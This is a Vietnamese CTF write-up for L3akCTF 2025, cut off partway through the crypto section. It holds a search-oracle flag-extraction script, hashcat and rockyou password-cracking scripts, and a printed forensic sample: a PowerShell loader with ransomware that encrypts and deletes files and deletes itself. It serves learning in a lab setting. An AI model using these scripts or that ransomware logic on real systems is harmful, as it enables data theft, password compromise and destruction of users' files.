daq2712
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # L3akCTF 2025 Writeup >By: TAS.ElPulga ## Misc ### Puzzles - 1 @daq ![image](https://hackmd.io/_uploads/rJ2AtKGIlg.png) Bài này khi truy cập link sẽ đến một trang web để chơi xếp hình Mình không biết có cách nào khác không nhưng bài này mình tự xếp đủ 10 hình bằng tay trong thời gian quy định và sau đó đã được flag ![image](https://hackmd.io/_uploads/BkOr9YGIel.png) ``` FLAG: L3AK{1_th4t_w45_pr3tty_34sy} ``` ## Hardware-RF ### Strange Transmission @daq ![image](https://hackmd.io/_uploads/Hy31iFf8gx.png) Được cung cấp một file audio `.wav`, mở nó lên trong audacity và chọn chế độ spectrogram Kéo dài nó ra sẽ được một nửa sau của flag ![image](https://hackmd.io/_uploads/rkNwsFGLlg.png) Đoạn trước có vẻ khá giống morse code, thử decode nó và được kết quả như sau ![image](https://hackmd.io/_uploads/Sky9otGLeg.png) Ghép hai phần lại và ta được flag cuối cùng ``` FLAG: L3AK{WELC0M3_T0_TH3_H4RDW4R3_RF_c4teg0ry_w3_h0p3_you_h4ve_fun!} ``` ## Web ### Flag L3ak @daq ![image](https://hackmd.io/_uploads/Bk1xnFfIll.png) Khi truy cập trang web có thể thấy các bài blog như sau ![image](https://hackmd.io/_uploads/Sk1f2KfLel.png) Ở search bar thì chỉ có thể input 3 kí tự để search và flag đã được censor bởi những dấu hoa thị Vào đọc `index.js` có thể thấy đoạn code sau ```python app.post('/api/search', (req, res) => { const { query } = req.body; if (!query || typeof query !== 'string' || query.length !== 3) { return res.status(400).json({ error: 'Query must be 3 characters.', }); } const matchingPosts = posts .filter(post => post.title.includes(query) || post.content.includes(query) || post.author.includes(query) ) .map(post => ({ ...post, content: post.content.replace(FLAG, '*'.repeat(FLAG.length)) })); res.json({ results: matchingPosts, count: matchingPosts.length, query: query }); }); app.get('/api/posts', (_, res) => { const publicPosts = posts.map(post => ({ id: post.id, title: post.title, content: post.content.replace(FLAG, '*'.repeat(FLAG.length)), author: post.author, date: post.date })); res.json({ posts: publicPosts, total: publicPosts.length }); }); ``` Có thể thấy `/api/posts` trả về blo với flag đã bị ẩn và `/api/search` cho phép tìm kiếm 3 kí tự Sử dụng code python sau để exploit ```python import re import string import sys import time from itertools import cycle import requests # CONFIG URL = "http://34.134.162.213:17000" # printable ASCII 0x20–0x7e (space through '~'), minus whitespace controls ALPHABET = ''.join(ch for ch in string.printable if ch not in '\n\r\t\x0b\x0c') FLAG_START = "L3AK{" # known prefix for this CTF (change if organiser differs) RATE_LIMIT = 0.05 # seconds to sleep between requests (tweak if throttled) # Helpers session = requests.Session() def get_posts(): resp = session.get(f"{URL}/api/posts", timeout=10) resp.raise_for_status() data = resp.json() return data["posts"] if isinstance(data, dict) else data def search(query: str): assert len(query) == 3, "search() queries must be exactly 3 bytes" resp = session.post(f"{URL}/api/search", json={"query": query}, timeout=10) resp.raise_for_status() return resp.json()["results"] # Locate the masked post and flag length posts = get_posts() mask_re = re.compile(r"\*{5,}") # ≥5 asterisks → masked flag masked_post = next(p for p in posts if mask_re.search(p["content"])) POST_ID = masked_post["id"] MASK_LEN = len(mask_re.search(masked_post["content"]).group(0)) print(f"[+] Masked post #{POST_ID} found – flag length is {MASK_LEN} bytes") #Carve out the flag flag = FLAG_START spinner = cycle(r"\|/-") # tiny CLI spinner, purely cosmetic while len(flag) < MASK_LEN: for ch in ALPHABET: # build a 3-byte sliding window if len(flag) >= 2: query = flag[-2:] + ch elif len(flag) == 1: query = flag[-1] + ch + "X" else: # len(flag) == 0 (shouldn’t happen here) query = ch + "YY" query = query[:3] # make SURE it is 3 bytes hits = search(query) time.sleep(RATE_LIMIT) if any(p["id"] == POST_ID for p in hits): flag += ch print( f"\r[+] Recovered so far: {flag:<{MASK_LEN}} {next(spinner)}", end="", flush=True, ) break else: # Exhausted alphabet → most likely the flag uses a char outside ALPHABET print("\n[-] Alphabet exhausted. Add extra chars to ALPHABET and retry.") sys.exit(1) print(f"\n[+] Full flag: {flag}") ``` ![image](https://hackmd.io/_uploads/ByzDJqfIgg.png) ``` FLAG: L3AK{L3ak1ng_th3_Fl4g??} ``` ## Rev ### babyRev @daq ![image](https://hackmd.io/_uploads/r151xcf8eg.png) Khi strings file này có thể thấy đoạn sau ![image](https://hackmd.io/_uploads/HJyqxcGIgg.png) Rõ ràng đó không phải flag thật, cần phải giải mã Khi phân tích có thể thấy + Có remap table ở startup + Chỉ những kí tự thường không viết hoa được remap + Mỗi kí tự được input sẽ được thay thế bằng remap này trước khi được so sánh với flag đã bị encode Có bảng mapping như sau ![image](https://hackmd.io/_uploads/r1tIB9GUlg.png) Sử dụng script python ```python enc_flag = "ngx_qkt_fgz_ugffq_uxtll_dt" remap = { 'a':'q','b':'w','c':'e','d':'r','e':'t','f':'y','g':'u','h':'i','i':'o','j':'p', 'k':'a','l':'s','m':'d','n':'f','o':'g','p':'h','q':'j','r':'k','s':'l','t':'z', 'u':'x','v':'c','w':'v','x':'b','y':'n','z':'m' } inverse = {v:k for k,v in remap.items()} decoded = ''.join(inverse.get(ch, ch) for ch in enc_flag) print(decoded) ``` ![image](https://hackmd.io/_uploads/SJlNE5fUgg.png) Thử lại khi execute file và nhập vào flag ![image](https://hackmd.io/_uploads/BJeR49M8xg.png) Điều đó confirm là flag đã đúng ``` FLAG: L3AK{you_are_not_gonna_guess_me} ``` ## Hash Cracking ### Mildly Disastrous 5ecurity @daq ![image](https://hackmd.io/_uploads/BkxdwcG8ee.png) Bài này chỉ cần `hashcat` và `rockyou.txt` là sẽ giải được Tạo file hashes.txt bao gồm 3 mã hash ``` 53e182cbd4daa6680f1a7c7b85eba802 1bfcbffaf03174f022225a62ddf025a8 1853572d1b6ae6f644718a6b6df835f9 ``` Dùng lệnh `hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt` Sau đó dùng `hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt --show` để xem kết quả Khi đó output sẽ là ``` 53e182cbd4daa6680f1a7c7b85eba802:cookiezz 1bfcbffaf03174f022225a62ddf025a8:m00nl!ght 1853572d1b6ae6f644718a6b6df835f9:sauron82 ``` Như vậy flag cuối cùng là ``` FLAG: L3AK{cookiezz_m00nl!ght_sauron82} ``` ### Rule Breaker 1 @hphuc204 ![image](https://hackmd.io/_uploads/BkamgCN8xg.png) - Tìm pass1: Ta sẽ tạo file hashes.txt ```echo "5e09f66ae5c6b2f4038eba26dc8e22d8aeb54f624d1d3ed96551e900dac7cf0d" > hashes.txt``` Sau đó dùng ``` hashcat -m 1400 -a 0 -r append_custom.rule -o found.txt hashes.txt rockyou.txt``` Khi có thông báo ```INFO: All hashes found as potfile and/or empty entries! Use --show to display them.``` nghĩa là hash đã được giải và kết quả đã được lưu trong potfile của hashcat. Ta sẽ dem kết quả ![image](https://hackmd.io/_uploads/H1tTqRE8el.png) - Tìm pass 2: Dựa vào yêu cầu đề bài ta sẽ viết đoạn code python có tên ```crack_pass2.py``` để: - Lặp từng từ trong rockyou.txt - Xoá lần lượt từng ký tự trong từ đó - Hash từng phiên bản bị xoá và so sánh với hash đề cho ```python import hashlib def sha256(s): return hashlib.sha256(s.encode()).hexdigest() target_hash = "fb58c041b0059e8424ff1f8d2771fca9ab0f5dcdd10c48e7a67a9467aa8ebfa8" count = 0 with open("rockyou.txt", "r", encoding="latin-1") as f: for word in f: word = word.strip() # Loại bỏ từ quá ngắn (xóa 1 ký tự phải còn > 0) if len(word) < 2: continue for i in range(len(word)): mutated = word[:i] + word[i+1:] # xóa ký tự tại vị trí i count += 1 if count % 500000 == 0: print(f"Đã thử {count} tổ hợp: {mutated}") if sha256(mutated) == target_hash: print("✅ Password 2 FOUND:", mutated) exit() ``` Và đây là kết quả ![image](https://hackmd.io/_uploads/HJ0oZRE8xx.png) - Tương tự với pass3 khi nguyên âm được leet hóa bao gồm các kí tự ```a,e,i,o,u.``` - Ta sẽ tạo một đoạn python có tên ```crack_pass3.py``` ```python import hashlib from itertools import product from multiprocessing import Pool, cpu_count # SHA256 hash của pass3 target = "4ac53d04443e6786752ac78e2dc86f60a629e4639edacc6a5937146f3eacc30f" # Bảng leet hóa nguyên âm leet_map = { 'a': ['a', '4', '@'], 'e': ['e', '3', '€'], 'i': ['i', '1', '!'], 'o': ['o', '0'], 'u': ['u', 'µ'] } # Tạo tất cả biến thể leet hóa chỉ nguyên âm def leet_variants(word): slots = [] for c in word: if c.lower() in leet_map: slots.append(leet_map[c.lower()]) else: slots.append([c]) return map(''.join, product(*slots)) # So khớp từng biến thể với SHA256 hash def process_word(word): word = word.strip() for variant in leet_variants(word): h = hashlib.sha256(variant.encode()).hexdigest() if h == target: return variant return None # Hàm chính: chạy nhiều tiến trình song song def main(): with open("rockyou.txt", "r", errors="ignore") as f: # Chỉ lấy các từ chứa nguyên âm để tiết kiệm thời gian words = [line.strip() for line in f if any(v in line for v in 'aeiou')] with Pool(cpu_count()) as pool: for result in pool.imap_unordered(process_word, words): if result: print(f"\n✅ Found pass3: {result}") break if __name__ == "__main__": main() ``` Kết quả là ![image](https://hackmd.io/_uploads/ryH-M0NUgg.png) FLAG : L3AK{hyepsi^4B_thecowsaysmo_unf0rg1v@bl3} ## OSINT ### Sunny day ![image](https://hackmd.io/_uploads/B1ZY0cG8el.png) ![image](https://hackmd.io/_uploads/HkSKR5MUeg.png) Có thể thấy cờ của nước Liechtenstein Dựa vào khung cảnh xung quanh tìm ra đó là ở thành phố Trisenberg, ở tọa độ `47°07'02.7"N 9°32'45.6"E` ![image](https://hackmd.io/_uploads/H10ikjzLxx.png) Chọn vị trí tương ứng ở web osint sẽ ra flag ![image](https://hackmd.io/_uploads/B1EDyjzUel.png) ``` FLAG: L3AK{sUn5H1Ne_iN_L1ecHt3nSTe1n} ``` ### Mountain View @daq ![image](https://hackmd.io/_uploads/BkGetqf8xe.png) ![image](https://hackmd.io/_uploads/r1w4Y9fIxx.png) Nhìn thấy biển sau, dịch từ tiếng Nhật ra là Hanayagura Observatory Search chỗ đó trên google map và địa điểm cần tìm ở ngay gần, tọa độ là `34°21'21.7"N 135°52'19.5"E` ![image](https://hackmd.io/_uploads/r1QNqczLel.png) Trên web của giải ctf click submit vị trí tương tự sẽ hiện ra flag ![image](https://hackmd.io/_uploads/Sy1R5qG8xx.png) ``` FLAG: L3AK{y0sh1n0_HAs_gR3At_54KuRA_Bl0s5omS} ``` ### Lost Locomotives ![image](https://hackmd.io/_uploads/BJf929fLxx.png) ![image](https://hackmd.io/_uploads/HJGT3czUge.png) Nhìn vào núi và đường tàu có thể đoán là Nam Mĩ Sau đó tìm ra nó ở đâu đó xung quang Sacred Valley Sau một hồi thì tìm ra nó ở Peru với tọa độ `13°15'49.9"S 72°16'08.7"W` ![image](https://hackmd.io/_uploads/Syv1lsz8ge.png) Chọn vị trí tương tự trên map của web osint thì ra được flag ![image](https://hackmd.io/_uploads/Hy-C6cGLgl.png) ``` FLAG: L3AK{cH00_Ch0o_1n_P3Ru} ``` ### Elephant Enclosure @Haizzzzzzzzz ![image](https://hackmd.io/_uploads/SJ8i6YXIxl.png) ![image](https://hackmd.io/_uploads/rkaduFmUxg.png) ![image](https://hackmd.io/_uploads/SkKtOtXIxx.png) ![image](https://hackmd.io/_uploads/SJCeht7Ige.png) Dựa vào các chi tiết xung quanh thì ta có thể nhận định răngf đây là chuồng voi của sở thú nào đó?? SAu khi tìm kiểm bằng các hình ảnh trong tọa độ thì ta biết được đây là sở thú Singapore ![image](https://hackmd.io/_uploads/Hy3K0YX8lx.png) sau khi tìm được vị trí của chuồng voi thì ta cuungx đã tìm được flag ![image](https://hackmd.io/_uploads/rkaS19XLll.png) ![image](https://hackmd.io/_uploads/rkHYy9Q8xl.png) ``` FLAG: L3AK{E13ph4nTs_4R3_F4sT_AF_https://youtu.be/ccxNteEogrg} ``` ## Forensics ### Ghost In The Dark @daq ![image](https://hackmd.io/_uploads/r112hxrIge.png) Giải nén file 3 lần được các file sau ![image](https://hackmd.io/_uploads/rJCapxHIll.png) ![image](https://hackmd.io/_uploads/ryIGCgSLgx.png) Ở trong folder `[SYSTEM]` có file `$MFT`, mở nó bằng MFT Explorer Thấy `loader.ps1` đã bị xóa và nội dung của nó ![image](https://hackmd.io/_uploads/BySd0lSUll.png) ```bash $key = [System.Text.Encoding]::UTF8.GetBytes("0123456789abcdef") $iv = [System.Text.Encoding]::UTF8.GetBytes("abcdef9876543210") $AES = New-Object System.Security.Cryptography.AesManaged $AES.Key = $key $AES.IV = $iv $AES.Mode = "CBC" $AES.Padding = "PKCS7" $enc = Get-Content "L:\payload.enc" -Raw $bytes = [System.Convert]::FromBase64String($enc) $decryptor = $AES.CreateDecryptor() $plaintext = $decryptor.TransformFinalBlock($bytes, 0, $bytes.Length) $script = [System.Text.Encoding]::UTF8.GetString($plaintext) Invoke-Expression $script # Self-delete Remove-Item $MyInvocation.MyCommand.Path ``` Nó giải mã `payload.enc` đã bị mã hóa sử dụng hard coded AES key và IV value, sau đó thực thi nội dung đã được giải mã ![image](https://hackmd.io/_uploads/rkG0ybBIlx.png) Sử dụng CyberChef để giải mã `payload.enc`, với key và value đã có ![image](https://hackmd.io/_uploads/ByXx-bS8xl.png) ```bash $key = [System.Text.Encoding]::UTF8.GetBytes("m4yb3w3d0nt3x1st") $iv = [System.Text.Encoding]::UTF8.GetBytes("l1f31sf0rl1v1ng!") $AES = New-Object System.Security.Cryptography.AesManaged $AES.Key = $key $AES.IV = $iv $AES.Mode = "CBC" $AES.Padding = "PKCS7" # Load plaintext flag from C:\ (never written to L:\ in plaintext) $flag = Get-Content "C:\Users\Blue\Desktop\StageRansomware\flag.txt" -Raw $encryptor = $AES.CreateEncryptor() $bytes = [System.Text.Encoding]::UTF8.GetBytes($flag) $cipher = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length) [System.IO.File]::WriteAllBytes("L:\flag.enc", $cipher) # Encrypt other files staged in D:\ (or L:\ if you're using L:\ now) $files = Get-ChildItem "L:\" -File | Where-Object { $_.Name -notin @("ransom.ps1", "ransom_note.txt", "flag.enc", "payload.enc", "loader.ps1") } foreach ($file in $files) { $plaintext = Get-Content $file.FullName -Raw $bytes = [System.Text.Encoding]::UTF8.GetBytes($plaintext) $cipher = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length) [System.IO.File]::WriteAllBytes("L:\$($file.BaseName).enc", $cipher) Remove-Item $file.FullName } # Write ransom note $ransomNote = @" i didn't mean to encrypt them. i was just trying to remember. the key? maybe it's still somewhere in the dark. the script? it was scared, so it disappeared too. maybe you'll find me. maybe you'll find yourself. - vivi (or his ghost) "@ Set-Content "L:\ransom_note.txt" $ransomNote -Encoding UTF8 # Self-delete Remove-Item $MyInvocation.MyCommand.Path ``` Payload này mã hóa tất cả các file trong folder `L:` trừ những file đã xác định trước đó bằng hard coded key và IV Tiếp tục dùng CyberChef giải mã `flag.enc` với key và value mới tìm được bên trên ![image](https://hackmd.io/_uploads/rkvSGbBIxg.png) ``` FLAG: L3AK{d3let3d_but_n0t_f0rg0tt3n} ``` ### Wi-Fight A Ghost? @daq @hphuc204 ![image](https://hackmd.io/_uploads/S1yw_hMIxl.png) Cần phải trả lời 14 câu hỏi để có được flag ![image](https://hackmd.io/_uploads/S1_3O3MUxg.png) Công cụ sử dụng cho bài: Registry Explorer, DB Browser for SQLite, MFT Explorer #### 1. What was the ComputerName of the device? Di chuyển đến `KAPEOUT/C/Windows/System32/config/SYSTEM` Mở hive `SYSTEM` bằng registry explorer, đến `ControlSet001\Control\ComputerName\ComputerName` ![image](https://hackmd.io/_uploads/Skk0Fnz8el.png) Tìm được tên máy tính là `99PHOENIXDOWNS` ![image](https://hackmd.io/_uploads/Hy1Z5nGLlx.png) #### 2. What was the SSID of the first Wi-Fi network they connected to? Cần load hive `SOFTWARE` bằng registry explorer, đến `Microsoft\Windows NT\CurrentVersion\NetworkList` ![image](https://hackmd.io/_uploads/r13352fUex.png) Thấy có 2 cái, nhưng đề bài hỏi cái nào đầu tiên nên dựa vào thời gian, chọn cái sớm hơn là `mugs_guest_5G` ![image](https://hackmd.io/_uploads/HyQLohzLel.png) #### 3. When did they obtain the DHCP lease at the first café? Ở hive `SYSTEM`, ở `ControlSet001\Services\Tcpip\Parameters\Interfaces` ![image](https://hackmd.io/_uploads/rypL22MUxl.png) Đáp án là `2025-05-14 00:13:36` ![image](https://hackmd.io/_uploads/Hy4C2hf8lg.png) #### 4. What IP address was assigned at the first café? Vẫn ở vị trí như câu trên, có được địa chỉ IP là `192.168.0.114` ![image](https://hackmd.io/_uploads/rJYzTnz8ge.png) ![image](https://hackmd.io/_uploads/BJXEpnGLgx.png) #### 5. What GitHub page did they visit at the first café? Truy cập file History của Edge `KAPEOUT\C\Users\NotVi\AppData\Local\Microsoft\Edge\User Data\Default\History` Mở bằng DB Browser, chọn tab `Browse Data` và chọn table `urls` ![image](https://hackmd.io/_uploads/S1KJChzIle.png) Thấy link Github và đó chính là đáp án `https://github.com/dbissell6/DFIR/blob/main/Blue_Book/Blue_Book.md` ![image](https://hackmd.io/_uploads/Hk77Rnf8lg.png) #### 6. What did they download at the first café? Vẫn ở DB Browser, chuyển sang table `downloads` ![image](https://hackmd.io/_uploads/S1mFRnMUle.png) Thấy được file được tải là `ChromeSetup.exe` ![image](https://hackmd.io/_uploads/BkI2RnGUex.png) #### 7. What was the name of the notes file? Ở `KAPEOUT\C\Users\NotVi\AppData\Roaming\Microsoft\Windows\Recent` thấy có file .txt ![image](https://hackmd.io/_uploads/HkjUkTfIlx.png) Đáp án là `HowToHackTheWorld.txt` ![image](https://hackmd.io/_uploads/rkpt1TzLgg.png) #### 8. What are the contents of the notes? Thử ấn vào file đó luôn nhưng không được ![image](https://hackmd.io/_uploads/SkPoJTz8el.png) Cần sử dụng MFT Explorer để mở file `$MFT` ![image](https://hackmd.io/_uploads/r1hTJaGUxe.png) Sau hơn 30 phút đợi load thì cũng đã tìm được nội dung của file txt ![image](https://hackmd.io/_uploads/ByTzlTGIlg.png) Đáp án là `Practice and take good notes.` ![image](https://hackmd.io/_uploads/ByOBlTGLgl.png) #### 9. What was the SSID of the second Wi-Fi network they connected to? Tương tự như câu 2, lần này đáp án là cái còn lại, `AlleyCat` ![image](https://hackmd.io/_uploads/rkc9x6z8xe.png) ![image](https://hackmd.io/_uploads/HyZnlaGLxg.png) #### 10. When did they obtain the second lease? Đáp án là `2025-05-14 00:35:07` ![image](https://hackmd.io/_uploads/B1O1baG8gx.png) ![image](https://hackmd.io/_uploads/SyzfZpzIge.png) #### 11. What was the IP address assigned at the second café? ![image](https://hackmd.io/_uploads/r1g7LZaf8el.png) Đáp án là `10.0.6.28` ![image](https://hackmd.io/_uploads/S1BOWpGLll.png) #### 12. What website did they log into at the second café? Như đã thấy ở câu 5, lịch sử duyệt web của Edge kết thúc khi user đã tải Google Chrome, nên cần phải xem History bên Chrome ở `KAPEOUT\C\Users\NotVi\AppData\Local\Google\Chrome\User Data\Default\History` ![image](https://hackmd.io/_uploads/rJkMMTG8ll.png) Như vậy người dùng đã login ở `l3ak.team` ![image](https://hackmd.io/_uploads/BJ0mz6f8xe.png) #### 13. What was the MAC address of the Wi-Fi adapter used? Đáp án là ```48:51:C5:35:EA:53``` Cài đặt python-evtx trong môi trường ảo ``` pip install python-evtx``` Vì đề bài yêu cầu tìm địa chỉ của MAC nên ta có thể tìm nó trong file ```.evtx``` Sau đó ta sẽ kiểm tra file .evtx đang ở đâu```find . -iname "*.evtx"``` Trích xuất xong ta sẽ tập trung vào 3 file: ``` ./Windows/System32/winevt/logs/Microsoft-Windows-WLAN-AutoConfig%4Operational.evtx ./Windows/System32/winevt/logs/Microsoft-Windows-NetworkProfile%4Operational.evtx ./Windows/System32/winevt/logs/Microsoft-Windows-Dhcp-Client%4Admin.evtx ``` Tạo file Python tên parse_evtx.py ```python from Evtx.Evtx import Evtx import sys if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <evtx_file>") sys.exit(1) evtx_path = sys.argv[1] with Evtx(evtx_path) as log: for record in log.records(): print(record.xml()) ``` Sau đó chạy 3 lệnh ``` python parse_evtx.py "./C/Windows/System32/winevt/logs/Microsoft-Windows-WLAN-AutoConfig%4Operational.evtx" > wlan.xml python parse_evtx.py "./C/Windows/System32/winevt/logs/Microsoft-Windows-NetworkProfile%4Operational.evtx" > netprof.xml python parse_evtx.py "./C/Windows/System32/winevt/logs/Microsoft-Windows-Dhcp-Client%4Admin.evtx" > dhcp.xml ``` Sau khi chạy xong ta dùng sẽ ra được kết quả ```grep -aiE 'mac|([0-9a-f]{2}[:-]){5}[0-9a-f]{2}|address|physical' wlan.xml netprof.xml dhcp.xml ``` ![image](https://hackmd.io/_uploads/ry7V1R4Lgl.png) ![image](https://hackmd.io/_uploads/Hyev2pNUge.png) #### 14. What city did this take place in? Vì các câu hỏi có nói đến quán cafe, và có từ khóa `alleycat`, thử search `alleycat coffee` trên google ![image](https://hackmd.io/_uploads/ryjNQ6zLgl.png) Có địa điểm là `Fort Collins` và đây là đáp án đúng ![image](https://hackmd.io/_uploads/B1eD76MUge.png) Sau khi trả lời đúng tất cả các câu hỏi thì sẽ được flag ![image](https://hackmd.io/_uploads/S1NJNTfLgl.png) ``` FLAG: L3AK{Gh057_R!d!ng_7h3_W4v35} ``` ## Crypto @ansobad ### Basic LLL ![image](https://hackmd.io/_uploads/SJfcdSQ8gx.png) Mở file `sage` ta được các số rất dài ```p = random_prime(2^1024, lbound=2^1023) q = random_prime(2^1024, lbound=2^1023) n = p * q x = randint(1, 2^16) y = randint(1, 2^256) a = randint(2^1023, 2^1024) k = a*p + x*y e = 65537 c = pow(flag, e, n) ``` Đây là kết quả khi chạy file `sage` ![image](https://hackmd.io/_uploads/BkbcoHQ8ge.png) Đề bài cho bộ số: x, a, n, k, c Ý tưởng của tôi đối với bài này sẽ là: - Khôi phục private key RSA - Giải mã ciphertext c - Lấy flag dạng: L3AK{...} Đề bài cho ta công thức: `k=a⋅p+x⋅y` Thường các bài ctf kiểu này sẽ cho p cố định Vì `(x+y)/a` là 1 số cực nhỏ => `p = k/a` `p = k // a` `assert n % p == 0 // kiem tra` Nếu đúng, tiếp tục tìm q: `q = n // p` Tìm private key: `phi = (p - 1)*(q - 1)` `d = pow(e, -1, phi)` Giải mã ciphertext: `m = pow(c, d, n)` `flag_bytes = m.to_bytes((m.bit_length() + 7) // 8, "big")` `print(flag_bytes.decode())` Ghép hết tất cả các bước vào ta có đoạn code: ```python x = 54203 a = 13953.. n = 12909.. k = 24474... c = 1118... e = 65537 p = k // a assert n % p == 0 q = n // p phi = (p - 1)*(q - 1) d = pow(e, -1, phi) m = pow(c, d, n) flag_bytes = m.to_bytes((m.bit_length() + 7) // 8, "big") print(flag_bytes.decode()) ``` ``` Flag: L3AK{u_4ctu4lly_pwn3d_LLL_w1th_sh0rt_v3ct0rs_n1c3} ``` ### Shiro Hero ![image](https://hackmd.io/_uploads/S10TZOm8xl.png) Sau khi tải file `.tar` giải nén ra ta có được ![image](https://hackmd.io/_uploads/BJifmu7Iee.png) ```python from secrets import randbits from prng import xorshiro256 from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad from ecc import ECDSA from Crypto.Util.number import bytes_to_long, long_to_bytes import hashlib flag = open("flag.txt", "rb").read() state = [randbits(64) for _ in range(4)] prng = xorshiro256(state) leaks = [prng.next_raw() for _ in range(4)] print(f"PRNG leaks: {[hex(x) for x in leaks]}") Apriv, Apub = ECDSA.gen_keypair() print(f"public_key = {Apub}") msg = b"My favorite number is 0x69. I'm a hero in your mother's bedroom, I'm a hero in your father's eyes. What am I?" H = bytes_to_long(msg) sig = ECDSA.ecdsa_sign(H, Apriv, prng) print(f"Message = {msg}") print(f"Hash = {H}") print(f"r, s = {sig}") key = hashlib.sha256(long_to_bytes(Apriv)).digest() iv = randbits(128).to_bytes(16, "big") cipher = AES.new(key, AES.MODE_CBC, iv) ciphertext = iv.hex() + cipher.encrypt(pad(flag, 16)).hex() print(f"ciphertext = {ciphertext}") with open("output.txt", "w") as f: f.write(f"PRNG leaks: {[hex(x) for x in leaks]}\n") f.write(f"public_key = {Apub}\n") f.write(f"Message = {msg}\n") f.write(f"Hash = {H}\n") f.write(f"r, s = {sig}\n") f.write(f"ciphertext = {ciphertext}\n") ``` File `chal.py` : - Sinh một PRNG (xorshiro256) với seed ngẫu nhiên - Dùng PRNG để sinh nonce k cho chữ ký ECDSA - Sinh khóa riêng ECDSA Apriv → khóa công khai Apub. - Tính hash H, tạo chữ ký (r, s) cho message - Từ Apriv tạo khóa AES → mã hoá flag Đến đây thì vào đúng dạng: **PRNG rò rỉ → ECDSA nonce → khôi phục private key → giải mã AES** File `output.txt` cho ta: ``` PRNG leaks: ['0x785a1cb672480875', '0x91c1748fec1dd008', '0x5c52ec3a5931f942', '0xac4a414750cd93d7'] public_key = (108364470534029284279984867862312730656321584938782311710100671041229823956830, 13364418211739203431596186134046538294475878411857932896543303792197679964862) Message = b"My favorite number is 0x69. I'm a hero in your mother's bedroom, I'm a hero in your father's eyes. What am I?" Hash = 95294420117... r, s = (54809455810753652852551513610089439557885757561953942958061085530360106094036, 42603888460883531054964904523904896098962762092412438324944171394799397690539) ciphertext = 404e9a7bbdac8d3912d881914ab2bdb924d85338fbd1a6d62a88d793b4b9438400489766e8e9fb157c961075ad4421fc ``` - PRNG leaks: 4 số từ PRNG - public_key: (Qx, Qy) - r, s: chữ ký - ciphertext: flag mã hoá AES-CBC Ý tưởng của bài này mình sẽ nghĩ là: - Xorshiro256 là một PRNG tuyến tính → có thể đảo ngược - Biết 4 giá trị next_raw() → có thể khôi phục state 256-bit - Biết k, r, s, H, ta có thể giải công thức chữ ký ECDSA để tìm khóa riêng Apriv: ![image](https://hackmd.io/_uploads/HkG9nu7Lee.png) Với Apriv, giải mã AES-CBC để lấy flag Code giải bài này: ```python from Crypto.Util.number import inverse, long_to_bytes, bytes_to_long from Crypto.Cipher import AES import hashlib # Các tham số elliptic curve secp256k1 n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 # Dữ liệu từ output.txt leaks_hex = [ '0x785a1cb672480875', '0x91c1748fec1dd008', '0x5c52ec3a5931f942', '0xac4a414750cd93d7' ] r = 54809455810753652852551513610089439557885757561953942958061085530360106094036 s = 42603888460883531054964904523904896098962762092412438324944171394799397690539 H = 9529442011748664341738996529750340456157809966093480864347661556347262857832209689182090159309916943522134394915152900655982067042469766622239675961581701969877932734729317939525310618663767439074719450934795911313281256406574646718593855471365539861693353445695 ciphertext_hex = "404e9a7bbdac8d3912d881914ab2bdb924d85338fbd1a6d62a88d793b4b9438400489766e8e9fb157c961075ad4421fc" iv = bytes.fromhex(ciphertext_hex[:32]) ct = 